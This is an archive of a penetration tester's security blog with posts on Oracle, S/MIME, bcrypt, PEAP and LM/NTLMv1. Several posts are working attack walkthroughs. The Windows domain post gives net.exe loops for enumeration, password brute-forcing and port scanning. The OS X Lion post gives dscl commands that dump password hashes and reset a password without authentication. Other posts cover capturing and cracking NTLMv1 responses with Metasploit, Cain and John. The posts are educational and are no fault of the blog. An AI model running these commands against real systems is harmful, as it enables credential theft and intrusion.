defence in depth.

Attacking and Securing Oracle 10g & 11g

2019-04-30T07:57:00.001-07:00

Found an old presentation I did from 2012 on Oracle database security:

Download slides

Some handy Oracle references:

Oracle Data Redaction is Broken - David Litchfield

Oracle Security Cheat Sheet - Red-Database-Security

Oracle Database Listener Security Guide - Integrity

Hacking Oracle From Web: Part 2 - Sid

Oracle Listener 11.1.0.7 Information Disclosure

2013-11-23T02:06:00.000-08:00

The other day I noticed a strange response I hadn't seen before when running a VERSION command against an 11.1.0.7 Listener:

It seemed as though the Listener was leaking memory.

I was able to reproduce this issue across other nodes in the RACs I had access to. Instead of the standard 348 byte TNS VERSION response

I was getting a 2011 byte TNS response:

I was also able to reproduce the result by running the VERSION command locally using the lsnrctl utility.

With a bit of digging it seems as though 11.1.0.7 Listeners with CPU April 2012 (patchset 13621679) are vulnerable to a memory leak issue. Most likely due to a buffer not being terminated/copied correctly.

This flaw could potentially come in handy during a pentest when trying to enumerate SIDs/Service names:

I was unable to reproduce this flaw on Listeners patched with CPU July 2012 (patchset 13923474) -- meaning Oracle are most likely wise to the issue...

Note: I was able to notice this issue as I was using Metasploit's tnscmd module. Unlike the tnsversion module, tnscmd outputs the full TNS conversation and not just the 348 bytes of the version string.

S/MIME: Bucking the phishing trend

2013-06-15T08:10:00.000-07:00

In recent years, phishing has become an increasingly profitable attack vector for online scammers. According to RSA’s The Year in Phishing (2013) report, the total number of phishing attacks in 2012 increased by 59% and resulted in global losses of $USD 1.5 billion. With this upward trend in online fraud predicted to continue, it’s pertinent to take a look at how these attacks are so successful and what can be done to buck the increasing trend of online fraud.

Phishing is the process whereby someone (malicious) masquerades as a trusted entity to solicit information. Relying on the art of deception, these attacks fair particularly well online as people are less likely to pick up on the fraud cues. Phishers frequently target email as their preferred attack medium due to its lack of security controls – in particular, the absence of authentication.

The critical issue surrounding email is trust. That is, how can we trust an email has come from who it purports to come from? If we look at how this problem was solved on the World Wide Web, we find SSL was the answer. Through the use of certificates, users are able to establish a level of trust online by validating the identity of the website. As it turns out, this method of trust establishment through a certificate can also be used for email and it’s called S/MIME.

S/MIME, or Secure MIME, has been around since the early 2000’s and uses public key encryption to digitally sign an email message. Recipients of an S/MIME email can verify the authenticity of the email by simply checking the attached certificate. If the certificate has been issued to (and by) someone they trust, then they can be assured the email is authentic.

So if S/MIME has this capacity to solve the online trust issue with email, thereby putting an end to the effectiveness of phishing attacks, the question must be asked: why is it so seldom used? In this author’s opinion, vendors of email clients have done a poor job at both promoting and implementing this technology. To provide some perspective on some of the shortcomings of S/MIME implementations, I would first like to take a look at one of the ways trust has been improved on the Web.

Over the last few years, browser vendors have made significant inroads into making it easier for non-technical people to make informed decisions regarding website trust. They've done this through the use of visual identifiers. If we look at the three main browsers in use today (Internet Explorer, Firefox and Chrome), we see that that they all utilise a key visual (the colour green) in the address bar to indicate a trusted website.

If we now compare this to how three of the most popular email clients (Outlook, Mac Mail and Thunderbird) deal with a digitally signed S/MIME email, we see a stark difference. There are no real obvious key visual indicators to emphasize the email is trusted.

Thunderbird

Outlook

Mac Mail

Another example where browsers have improved on trust is where certificate violations are concerned. As an example, if we were to visit a website where the Common Name (CN) on the certificate did not match the URL, we would receive the following message:

These messages are important as they indicate to the user a clear violation in trust. If the CN did not have to match the URL, anyone could purchase a certificate with a bogus CN and apply it to any website. This would defeat the purpose of the certificate trust model.

To see how the three email clients would fair against a similar test, I put together a digitally signed email where the email’s From address does not match the Email Address attribute on the X.509 certificate. From this, we get some interesting results:

Thunderbird

Mac Mail

Outlook

First off, we see Mac Mail does the best job at warning the user of a trust violation. Thunderbird also has an (albeit discrete) identifier to indicate there was a problem. But more interestingly, Outlook does not flag this as a violation and provides no warnings at all. Going unfixed, this loss of integrity issue has the potential to cause problems.

Let’s say, for example, Company X implemented full PKI and employees knew only to trust emails that had been digitally signed. To get around this defence, a scammer could exploit Outlook’s loss of S/MIME integrity by purchasing a certificate. They could then digitally sign their phishing scam and send it with a spoofed From address of a Company X employee (remembering the Email Address on the certificate doesn’t have to match the From address). Company X employees would be none the wiser this email was not authentic, subsequently leading to compromise and thus defeating the purpose of deploying S/MIME in the first place.

I feel the threat posed by current phishing trends is significant. My hope is this post facilitates some discussion within the security community around the issue of email trust and reenforces the importance of email security and S/MIME.

Password Hashing: Best Practice

2012-06-16T11:12:00.000-07:00

Last week I read a post on Brian Krebs’ blog where security researcher Thomas Ptacek was interviewed about his thoughts on the current landscape of password hashing. I found Thomas’ insights into this topic quite pertinent and would like to reiterate his sentiments by talking a little about the importance of choosing the right password hashing scheme.

The idea of storing passwords in a “secret” form (as opposed to plain-text) is no new notion. In 1976 the Unix operating system would store password hash representations using the crypt one-way cryptographic hashing function. As one can imagine, the processing power back then was significantly less than that of current day standards. With crypt only being able to hash fewer than 4 passwords per second on 1976 hardware, the designers of the Unix operating system decided there was no need to protect the password file as any attack would, by enlarge, be computationally infeasible. Whilst this assertion was certainly true in 1976, an important oversight was made when implementing this design decision: Moore’s Law.

Moore’s Law states that computing power will double approximately every two years. To date, this notion has held true since it was first coined by Gordon Moore in 1965. Because of this law, we find that password hashing functions (such as crypt) do not withstand the test of time as they have no way of compensating for the continual increase in computing power. The problem we find with cryptographic hashing functions is that whilst computing power continually increases over time, password entropy (or randomness) does not.

If we fast-forward to the current day environment we see that not much has changed since the early implementations of password hashing. One-way cryptographic hashing functions are still in widespread use today, with SHA-1, SHA-256, SHA-512, MD5 and MD4 all commonly used algorithms. Like crypt on the old Unix platform, these functions have no way of compensating for an increase in computing power and therefore will become increasingly vulnerable to password-guessing attacks in the future.

Fortunately, this problem was solved in 1999 by two researches working on the OpenBSD Project, Niels Provos and David Mazieres. In their paper, entitled ‘A Furture-Adaptable Password Scheme’, Provos and Mazieres describe a cost-adaptable algorithm that adjusts to hardware improvements and preservers password security well into the future.

Based on Bruce Shneier’s blowfish algorithm, EksBlowfish (or expensive key scheduling blowfish), is a cost-parameterizable and salted block cipher which takes a user-chosen password and key and can resist attacks on those keys. This algorithm was implemented in a password hashing scheme called bcrypt.

Provos and Mazieres identified that in order for their bcrypt password scheme to be hardened against password guessing, it would need the following design criteria:

Finding partial information about the password is as hard as guessing the password itself. This is accomplished by using a random salt.
The algorithm should guarantee collision resistance.
Password should not be hashed by a single function with a fixed computational cost, but rather by of a family of functions with arbitrarily high cost.

The first two points here are fairly standard among password hashing algorithms. The last point, however, is somewhat of a different concept to what we are used to seeing.

If we think about cryptographic hashing functions in use today - be it MD5, SHA-1, or MD4 - we notice they all have one thing in common: speed. Each of these algorithms is incredibly quick at computing its respective output. As hardware gets better, so too does the speed at which these algorithms can operate. Whilst this may potentially be seen as a positive thing where usability is concerned, it is certainly an undesirable trait from a security standpoint. The quicker these algorithms are able to compute their output, the less time it takes for the passwords to be cracked.

Provos and Mazieres were able to solve this problem by deliberately designing bcrypt to be computationally expensive. In addition, they introduced a tunable cost parameter which is able to increase the algorithm’s completion time by a factor of 2 each time it is incremented(effectively doubling the time it takes to compute the result). This means that bcrypt can be tuned (i.e. incremented every 2 years) to keep up with Moore’s Law.

Let’s have a quick look at how bcrypt compares against other hashing algorithms. Let’s say we have a list of 1000 salted SHA-1 hashes that we wish to crack. Because they are salted, we can’t use a pre-computed list of hashes against this list. We can, however, crack the hashes one by one. Let’s say on modern hardware it takes a microsecond (000000.1 seconds) to make a guess at the password. This means that per second we could generate 1 million password guesses per hash.

In contrast, say we have the same list but instead of SHA-1 the hashes have been derived using bcrypt. If the hashes were say computed with a cost of 12, we are able to compute a password guess roughly every 500 milliseconds. That is, we can only guess 2 passwords a second. Now if you think we have 1000 password hashes, we can only generate 7,200 guesses per hour. As it would be more efficient targeting all 1000 hashes (as opposed to just one), we would be limited to approximately 7 guesses per hash.

Below is the output of a quick program I created to display the time it takes to compute a bcrypt comparison as the cost value is incremented. The test was conducted on a RHEL system running a Xeon X5670 @ 2.9Ghz with 1024MB of memory.

The source code for this program can be found here.

The bcrypt password hashing scheme is currently available in many languages including Java, C#, Objective-C, perl, python, and Javascript among others.

I hope this post highlights the importance of using stronger password hashing schemes for modern day applications.

Exploiting the Windows Domain

2012-05-22T06:43:00.000-07:00

A common recommendation I often come across is that Internet-facing systems should not be a part of an active Windows domain. As an exercise of interest, I have decided to look at this topic a little deeper and explore what advantage (if any) access to a domain member really provides.

In this scenario I will demonstrate how to gain privilege within a Windows domain using only the tools available on a default Windows install. I will be working under the assumption that:

I have access to a public terminal (or something similar) with up-to-date anti-virus.
I do not have administrative access on the host.
I do not have access to any third-party tools.

Once connected to a Windows workstation, the first piece of information I want to find is the domain namespace. This can be done a couple of different ways:

nbtstat –A <IP-Address>

net config workstation

Next, because I am working from a domain member, I can query the domain controller and check whether it’s aware of any additional domains:

net view /domain

*Note: It is often advantageous to target other domains such as those used for testing and development. These environments will often contain hosts where less emphasis is placed on security.

Next I am interested in knowing what hosts exist on the domain. For this, I can query the domain controller:

net view /domain:<DOM> > hosts.txt

Depending on the size of the network this listing can get quite large. I have redirected the output into a text file to prevent continually query the domain controller.

*Note: This command will not typically respond with every Windows host on the network. Only hosts available via NETBIOS are known to the domain controller.

Because I’m on a Windows domain, I can be fairly certain some machines will have file sharing turned on. Large networks are often host to a myriad of file shares with “interesting” data on them. It’s not uncommon to find personally identifiable information or even login credentials sitting on workstation or server shares.

To obtain a list of systems with active shares I can query each domain member by using:

for /f %i in (hosts.txt) do @(net view \\%i >> shares.txt 2>nul)

This command will loop over the file containing the domain members (obtained from the previous command) and query each host for open shares. Any errors (i.e. inaccessible systems) are discarded.

As previously mentioned, in some cases you may get lucky and find exactly what you’re looking for within these shares. For the sake of this exercise, however, let’s assume there was nothing interesting found.

Next I am interested in what users and groups exist on the domain. The goal here is to elevate my privileges on the domain (remember, I only have ‘User’ rights on one system thus far). To obtain a list of domain users and groups I can query the domain controller as follows:

net user /domain > users.txt

net group /domain > groups.txt

Once this information is gathered I want to look for “interesting” user accounts. Usernames containing the words “temp”, “test”, “tst”, “tmp”, "helpdesk", "ftp" are all of interest here as testing and temporary accounts often have simple passwords.

type users.txt | find “test”

If there are no stand-out usernames in the list above I can direct my efforts on querying the groups:

type groups.txt | find “helpdesk”

The domain controller can then be queried to dump the users belonging to that group:

net group “helpdesk” /domain

*NOTE: I have chosen to target non-administrative accounts here as they typically have weaker passwords. However, it is certainly not unheard of to have weak passwords on account belonging to “Domain Admins”. Always worth checking :)

Having chosen a number of domain users to target I can now attempt to compromise these accounts through password guessing. I can accomplish this through SMB connection attempts against a host on the domain. Which host I choose here doesn’t matter as authentication occurs against the domain controller and not the host itself.

for /f %i in (users.txt) do @(for /f %j in (passwords.txt) do @(echo Trying %i:%j... >> success.txt && net use \\wombat /u:%i %j 1>>success.txt && net use \\wombat /del))

This script will loop over a list of targeted usernames (in users.txt) and try simple password attempts against each account from the passwords.txt file. Success.txt will keep a log of successful password guesses. Keep in mind here I am only targeting the low hanging fruit. Only a few passwords are being attempted for each account as to not lock out any accounts.

With a small adaptation this script I can choose to target every account in the entire domain:

for /f %i in (users.txt) do @( echo Trying %i:%j... >> success.txt && net use \\wombat /u:%i %i 1>>success.txt && net use \\wombat /del)

Here I am scanning the entire domain for accounts that use their username as their password. This is sometimes known as a horizontal password scan.

The benefits of horizontal scanning become apparent in environments with a large user base. An increase in the number of accounts often improves the chances of discovering an account with a weak password. The chance of locking out an account is also significantly decreased as only a small number of password guesses are attempted against each account.

The above script could also be tweaked to guess the password of the default local administrative account (RID 500) on the current machine. Providing this account is active, it cannot be locked out (meaning infinite password guesses).

Once credentials have been acquired for a domain account the next step is to find out what access the account has. Indeed, it may be the case that only a particular service on a particular host is accessible from the captured account.

The next step in this process is to find out what services are available on the domain. This would be quite simple with nmap... but remember, we don’t have access to any third-party tools! To get around this I have adapted Ed Skoudis’ FTP command line port scanner:

for /f %i in (hosts.txt) do @(for /f %j in (ports.txt) do @(echo Checking %i:%j... & echo %i:%j >> success.txt & echo open %i %j > commands.txt & echo quit >> commands.txt & ftp -n -s:commands.txt 1>>success.txt))

This script attempts to make a connection to each port in ports.txt (I've chose 21\ftp) for every domain member in hosts.txt (found at the beginning of this exercise). It uses the built-in Windows FTP client to read in commands (-s flag) from commands.txt to make each connection. Logging information is stored in success.txt.

Once the available network services have been mapped I can then attempt to exploit / gain access to these services:

In this post I have demonstrated several examples of how domain membership can be abused to gain privilege on a Windows' domain. Due to the inherent verbose nature of Windows’ domains, attackers have the advantage of gaining valuable information about a target network in a relatively short period of time. That said, however, a skilled attacker always has (and always will) be able to penetrate a network’s defences regardless of having domain membership or not.

Cracking OS X Lion Passwords

2011-09-18T06:07:00.000-07:00

UPDATE [2011-10-15]:
The issues described in this post have now been resolved by Apple. Users running OS X Lion 10.7.2 or security update 2011-006 are no longer affected by the vulnerabilities detailed below (CVE-2011-3435 and CVE-2011-3436). For further details on this security update please see Apple's advisory.

In 2009 I posted an article on Cracking Mac OS X passwords. Whilst this post has been quite popular, it was written for OS X 10.6 and prior. Since the release of Mac OS X Lion (10.7) in July, I have received numerous requests for an update. Typically, I would have just updated the existing article without the need for a new post. However, during my research I discovered something interesting about OS X Lion that I'd like to share.

In previous versions of OS X (10.6, 10.5, 10.4) the process to extract user password hashes has been the same: obtain the user's GeneratedUID and then use that ID to extract hashes from a specific user's shadow file (See my previous post for a more detailed description).

When it comes to Lion, the general premise is the same (albeit a few technical differences). Each user has their own shadow file, with each shadow file stored under a .plist file located in /var/db/dslocal/nodes/Default/users/.

The interesting thing when it comes to Lion's implementation, however, is privilege. As mentioned above, all OS X versions are using shadow files. For the unfamiliar, a shadow file is that which can only be accessed by users with a high privilege (typically root). So for all modern OS X platforms (Tiger, Leopard, Snow Leopard and Lion) each user has their own shadow file (hash database) whose data is accessible only by the root user… or at least it should be.

It appears in the redesign of OS X Lion's authentication scheme a critical step has been overlooked. Whilst non-root users are unable to access the shadow files directly, Lion actually provides non-root users the ability to still view password hash data. This is accomplished by extracting the data straight from Directory Services.

If we invoke a a directory services listing on user bob by specifying the /Local/ path we can see bob's standard profile information:

$ dscl localhost -read /Local/Default/Users/bob

This provides us with nothing too exciting. However, if we invoke the directory services listing using the /Search/ path, we see a different result:

$ dscl localhost -read /Search/Users/bob

From the output, we can see the following data:

dsAttrTypeNative:ShadowHashData:

62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72 3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060

Note: The SHA512 hash is stored from bytes 32-96 (green) and the salt is stored from bytes 28-31(red). For more information on these hashes please see this thread.

This ShadowHashData attribute actually contains the same hash stored in user bob's shadow .plist file. The interesting thing about this? root privileges are not required. All users on the system, regardless of privilege, have the ability to access the ShadowHashData attribute from any other user's profile.

Due to Lions relatively short time on the market, I am yet to find any of the major crackers supporting OS X Lion hashes (SHA512 + 4-byte salt). To simplify the cracking of these hashes I have created a simple python script which can be downloaded here.

Now, if the password is not found by the dictionary file you're out of luck, right? Well, no! Why crack hashes when you can just change the password directly! It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:

$ dscl localhost -passwd /Search/Users/bob

And voilà! You will be prompted to enter a new password without the need to authenticate.

There has been some conjecture surrounding the severity of these attacks. Whilst the ability to change the currently active user’s password is not a privilege escalation flaw per se, it can under some circumstances be used for these purposes. Allow me to provide a scenario:

A user with administrative rights is browsing the internet with Safari. The user happens to browse to a website hosting a malicious Java Applet. Unbeknownst to the user, they allow the innocent looking Java Applet to run. The Applet will proceed to make a connection back to the attacker, providing the attacker with full shell access. Whilst the attacker has access to the system, they are provided only with limited user privileges (they still do not have root access). This would limit what an attacker could accomplish. However, with the vulnerabilities described above the attacker now has an advantage: they can change the password of the current user. Now remember, the current user is an administrator. So now all the attacker has to do is sudo –s to become root. If lets say the victim did not have administrative rights, the attacker still has the ability to extract user hashes from the system and attempt to crack them.

As a temporary measure to mitigate these attacks (before Apple release a patch), it is recommended to limit standard access to the dscl utility. The can be done as follows:

$ sudo chmod 100 /usr/bin/dscl

Attacking LM/NTLMv1 Challenge/Response Authentication

2011-04-21T06:32:00.001-07:00

In Part 1 of the “LM/NTLMv1 Challenge/Response Authentication” series I discussed how both the LANMAN/NTLMv1 protocols operate and the weaknesses that plague these protocols. In this post I will demonstrate how attackers leverage these weaknesses to exploit the LANMAN/NTLMv1 protocols in order to compromise user credentials.
For the remainder of this article I will be focusing on attacking the SMB protocol (Windows file sharing) as this is where LANMAN/NTLMv1 is most commonly used.

Capturing the Response

In order to capture a client’s LANMAN/NTLMv1 response, attackers will often utilise one of two methods:

Force the client host to connect to them
Conduct a man-in-the-middle (MITM) attack and “sniff” the client’s response

To demonstrate these methods, I will be using the Metasploit Framework or Cain and Abel respectively.
Metasploit
In order for a client host to connect to us, we first need to create a listening SMB service that will accept incoming connections. Fortunately, the Metasploit Framework has already provided us with a module to do this :)
1. Fire up Metasploit
2. Load the SMB server module

msf > use auxiliary/server/capture/smb

3. Set the server host address

msf > set srvhost x.x.x.x

4. Run the module

msf > run

Now that we have a listening SMB service, all that is needed is for a victim to connect to our machine. By calling “info” on the SMB server module, the module’s description explains “The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message.”
A successful capture will look something like this:

Cain and Abel
The second method we can use to capture a client’s response is by conducting a MITM attack using Cain.
1. Start Cain’s sniffer
2. In the “Sniffer” tab, select the “Plus” icon and choose the hosts victims to poison.

3. Activate Cain’s ARP Poison Routing feature
4. Select the bottom “Passwords” tab and wait for the client’s response to appear in the left pane under “SMB”.

Cracking the Response

Three approaches are often referenced when cracking a LANMAN/NTLMv1 response:

Rainbow Tables
Dictionary Attack
Brute Force

All of these methods use what is known as the “known challenge attack” technique. In order to crack the LANMAN/NTLMv1 response we are exploiting the fact that the only randomness (or entropy) that makes the LANMAN/NTLMv1 response unique every time is the challenge sent by the Server. As the attacker is always the Server, we can send the client a static challenge. This effectively defeats any randomness in the protocol. Because we now know what the challenge will be every single time, we can effectively crack the LANMAN/NTLMv1 response as if it were a static response.
Note: It is common practice to use \x11\x22\x33\x44\x55\x66\x77\x88 as the static challenge.
Before we look at each of these methods it should be noted that LANMAN responses are only configured on Windows XP and Server 2003 system (by default). Windows 7, Vista and Server 2008 systems are configured to utilise NTLMv2 by default.
A simple test to check which protocol is currently in use is to see if the LM Hash and NT Hash are different in the capture logs. A difference in these hashes would indicate LANMAN is in in use. If these hashes are the same, LANMAN is disabled and NTMLv1 is in use.

1. Rainbow Tables
As you would remember from Part 1 of this series, the difference between LANMAN challenge/response and NTLMv1 is that the former uses the locally stored LM Hash whilst the latter uses the locally stored NT Hash. This fundamental difference makes a substantial difference when it comes to cracking the LANMAN response. Because LANMAN utilises the weaker LM hashing algorithm, an attacker can trivially obtain the plain-text of a LANMAN response within minutes.
The quickest approach to cracking the LANMAN response is by using rainbow tables. Due to the nature of the LM Hash, rainbow tables are very effective against this hash type. The rainbow tables necessary for this exercise are called “halflmchall” and can be found here. To use these rainbow tables the rcracki_md tool will need to be downloaded.
The following rcracki command will inflate the rainbow table chains and attempt to find the plaintext password for the LANMAN response:

> rcracki_mt.exe –h b4dfbf8fa9eaac3 "C:\rainbowtables\*.rti”

Note: We are only cracking the first 8 bytes of the captured LANMAN response. Due to the nature of the LM Hash, we are only able to use rainbow tables on the first portion of the LANMAN response. The rest we will have to use brute-force.
A successful result will look like this:

The remaining characters we can brute force using the Metasploit “halflm_second.rb” script. This can be found in the “tools” directory in the root Metasploit directory. The script is run as follows:

# ruby halflm_second.rb –n 5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896 –p ADMINIS

Where –n is the LANMAN response and –p is the discovered plaintext.
Whilst it is possible to crack an NTLMv1 response using rainbow tables, I have yet to come across any that have been pre-computed. Due to the nature of NT Hashes, NTLMv1 rainbow tables would be far more time consuming to generate and require large amounts of disk space.
2. Dictionary Attack
The second method often used to crack LAMNAM/NTLMv1 responses is a dictionary attack.
I will demonstrate the dictionary attack using two common tools:

John the Ripper
Cain and Abel

John the Ripper
The following syntax is used to mount a dictionary attack against LANMAN responses:

# ./john –format:netlm /tmp/capture.txt

Where capture.txt is the file containing the LANMAN response. The format of capture file must be as follows:

test::home:5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896:44c1bf5f64fbd2109461da1ca8518e75b67a4116c2351679:1122334455667788

Where test is the username, home is the workgroup/domain, the first hash is the LM Hash, the second hash is the NT Hash and the final value is the challenge.
To use john against NTLMv1 specify netntlm with the -format flag.
Cain and Abel
If Cain was used to sniff the capture, right click on the entry and select “Send to Cracker”.

In the “Cracker” tab, right click on the entry and choose your appropriate option from the “Dictionary Attack” menu option.

Note: For a list of dictionary files see my post on wordlists.
If you did not capture the response using Cain, and are importing a capture file, the file must be in the following format:

user:workgroup-or-domain:challenge:LMHash:NTHash

3. Brute Force
Whilst crude, brute-forcing can be effective against weaker passwords.
To brute-force in Cain, follow the steps detailed above and select “Brute-Force Attack” from the menu item.
For the sake of brevity, I will not go into how John the Ripper can brute-force hashes. This is quite a lengthy topic in itself. Further reading on this topic can be found using Google.

LM/NTLMv1 Challenge/Response Authentication Explained

2011-04-20T01:18:00.001-07:00

The Microsoft Windows platform uses a myriad of protocols to authenticate users across a network. Two such protocols widely in use today are the LANMAN challenge/response and NTLMv1 protocols. Whilst newer, more secure protocols (such as NTLMv2) are ready to take their place, LANMAN challenge/response and NTLMv1 are still widely deployed today for reasons of interoperability. As with most things Microsoft-related, ubiquity often equates to exploitability.

In this two part series I will discuss how the LANMAN challenge/response and NTLMv1 protocols operate, how malicious users can take advantage of their shortcomings, and best practice recommendations for securely deploying these protocols.

Microsoft Windows supports two primary algorithms for locally authenticating users. These algorithms generate what’s known as an “LM Hash” or an “NT Hash”.

Enabled by default in Windows NT, 2000, XP, and Server 2003, the LM Hash has become synonymous with bad hashing practices over the years. Used for backward compatibility, this older hashing method has several inherit flaws, making it trivial for attackers to crack LM Hashes within minutes.

The second, more secure, hashing algorithm generates what’s known as an NT Hash. Exclusively on by default in Windows Vista, 7, and Server 2008, this hash is generated using the MD4 hashing algorithm.
Note: By default, Windows XP stores both the LM Hash and the NT Hash.

Whilst this reading does not require a technical understanding of how the NT Hash and the LM Hash are generated, some readers may like to broaden their understanding of how these hashes are generated. The following paper provides an in depth discussion on the topic.

Before we begin looking at the Microsoft network authentication protocols, it is important to note that LANMAN challenge/response and NTLMv1 are the same protocol except for one key difference: LANMAN challenge/response utilises the locally stored “LM Hash” whilst NTLMv1 uses the locally stored “NT Hash”. Aside from this, the protocols (for all intensive purposes) operate exactly the same way.

The LANMAN challenge/response and NTLMv1 protocols authenticate users in the following manner:
1. Client sends an authentication request to the Server.
2. A protocol negotiation occurs between the Client and Server.
3. The Server sends the Client a (pseudo-random) 8-byte challenge.
4. The Client sends a 24-byte response.
5. The Server authenticates the Client.

The Client’s response is made up of the following steps:

Split the locally stored 16-byte hash (LM Hash for LANMAN challenge/response or NT Hash for NTLMv1) into three 7-byte portions.
Using the DES encryption algorithm, encrypt the Server’s challenge three separate times using each of the keys derived in Step 1.
Concatenate the response of all three outputs.

Now, at first glance this protocol seems fairly sensible. But you may have noticed something in Step 1 of the Client’s response. If the hash (LM or NT) is 16-bytes long, how do we break it up into three 7-byte portions? i.e. 7 does not divide into 16 evenly.

To combat this unevenness, the LANMAN and NTLMv1 algorithms pad the third key with 5 nulls. By doing this, we now have three evenly portioned keys.

So, the response process in its entirety looks something like this:

Now that we have an understanding of how the LANMAN challenge/response and NTLMv1 protocols work, let’s take a look at some of the deficiencies these protocols inherit.

There is no “diffusion” within the protocol. That is, there are three separate parts to the response that could individually be attacked. Diffusion would ensure each part of the DES output relied on the previous – increasing the overall complexity.
DES is old and considered cryptographically weak by many.
The third DES key is weak. As the third DES key is padded with 5 nulls, there are only 2^16 possible unknown values. This would take a modern computer seconds to crack.
There is a lack of randomness. The only randomness occurring within the algorithm is that provided by the pseudo-random challenge generated by the server.

In Part 2 of this series I will demonstrate how attackers can take advantage of the aforementioned deficiencies in the LANMAN challenge/response and NTLMv1 protocols.

Attacking and Securing PEAP

2010-05-17T23:12:00.000-07:00

Protected Extensible Authentication Protocol (PEAP) is often regarded as a secure 802.11 wireless authentication protocol. Whilst PEAP has the ability to become a secure protocol it is certainly not without its deficiencies. I thought I would take this opportunity to provide everyone with an overview of the PEAP protocol by examining what it is, how it works, where its shortcomings lie, and how to secure it.

Before we dive into the security concerns surrounding PEAP it is important to know there are currently three versions of the PEAP standard. The version I will be referencing throughout the remainder of this post will be PEAPv0. This is the most common deployment of the PEAP standard.

PEAP is a widely deployed Extensible Authentication Protocol (EAP) type used to securely authenticate users against 802.11 wireless networks. Developed by Microsoft, Cisco and RSA, PEAP has been made popular through its continued support by the Microsoft Windows platform. PEAP has the ability to support a range of inner-authentication methods, most notably Microsoft’s challenge-handshake authentication protocol known as MS-CHAPv2.

Whilst several deficiencies have been discovered over the years in the MS-CHAPv2 protocol, PEAP overcomes these by protecting the MS-CHAPv2 authentication exchange through the establishment of a transport layer security (TLS) tunnel. Through the use of digital certificates PEAP is able to authenticate users over the MS-CHAPv2 protocol in a secure manner.
The PEAP authentication process can be summarized as follows:

Identity information is exchanged (in plain-text) between the supplicant and authenticator.

A secure TLS tunnel is established via a server side digital certificate.

Identity information is exchanged again within the TLS tunnel using the MS-CHAPv2 inner-authentication method.

The pair-wise master key (PMK) is sent from the Remote Authentication Dial-in User Service (RADIUS) server to the supplicant within the encrypted tunnel.

The PMK is sent from to the RADIUS sever to the access point (AP).

Encryption commences between the supplicant and AP.

Attacking PEAP

There are three main attacks which can be used against the PEAP protocol:

1. Authentication Attack

The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by ‘guessing’ user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts. Whilst a lockout policy will also defend against this type of attack, failed login attempts could trigger a denial of service (DoS) attack on the network.

2. Key Distribution Attack

The key distribution attack exploits a weakness in the RADIUS protocol. Whilst this attack is not specific to PEAP deployments, it is often regarded as the weakest point in an 802.11 PEAP/WPA infrastructure.

The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server’s HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK – allowing full decryption of all traffic between the AP and supplicant.

3. RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network’s AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a ‘fake’ certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

Securing PEAP

In order to secure PEAP deployments from RADIUS impersonation and authentication attacks the following client-side configurations should be deployed:

Ensure the common name (CN) of the RADIUS server’s certificate is defined. This setting will ensure clients only accept certificates that contain the specified CN.

Select only the trusted certificate authority (CA) that will be issuing the certificates. This will prevent attackers from using a certificate with the required CN but signed by a different CA.

By not prompting users to authorize new servers the decision to accept or reject certificates from unidentified RADIUS servers is taken away from the user. This setting will silently drop all requests whose certificate CN does not match that which is specified in Step 1.

By supplying an “anonymous” identity during the initial PEAP identity exchange attackers will be unable to leverage unencrypted usernames. This setting prevents against PEAP authentication attacks. Note: This configuration setting is only available in Windows 7 and above.

To secure PEAP against key distribution attacks it is recommended that RADIUS shared secret is least 16 characters in length, consisting of a mixed-alphanumeric character set. The RADIUS shared secret should also be rotated on a semi-regular basis.

Password Wordlists and Dictionaries

2010-05-04T17:20:00.000-07:00

Password wordlists and dictionaries are an often imperative resource for any password auditing exercise. I thought I would take this opportunity to consolidate a list of wordlists/dictionaries for ease of access. Please feel free to post any resources I have omitted in the comments below.

I will periodically update this post with any new resources I come across.

http://ftp.sunet.se/pub/security/too...all/wordlists/
http://www.skullsecurity.org/wiki/index.php/Passwords
ftp://ftp.ox.ac.uk/pub/wordlists/
http://gdataonline.com/downloads/GDict/
ftp://ftp.openwall.com/pub/wordlists/
ftp://ftp.cerias.purdue.edu/pub/dict/
http://www.indianz.ch/tools/doc/wordlist.zip
http://www.outpost9.com/files/WordLists.html
ftp://ftp.openwall.com/pub/wordlists/passwords/
https://www.securinfos.info/wordlists_dictionnaires.php
ftp://ftp.ox.ac.uk/pub/wordlists/
http://www.lostpassword.com/f/wl/bigdict.zip
http://www.lostpassword.com/f/wl/French.zip
http://www.lostpassword.com/f/wl/Spanish.zip
http://www.lostpassword.com/f/wl/German.zip
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
http://www.cotse.com
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://www.openwall.com/mirrors/
http://gdataonline.com/downloads/GDict/
http://blog.sebastien.raveau.name/search/label/wordlist
http://www.theargon.com/achilles/wordlists/
http://theargon.com/achilles/wordlists/theargonlists/
http://www.insidepro.com/eng/download.shtml
http://www.word-list.com/
http://wordlist.sourceforge.net/

Is WPA Secure? - Part 1

2010-02-27T06:02:00.001-08:00

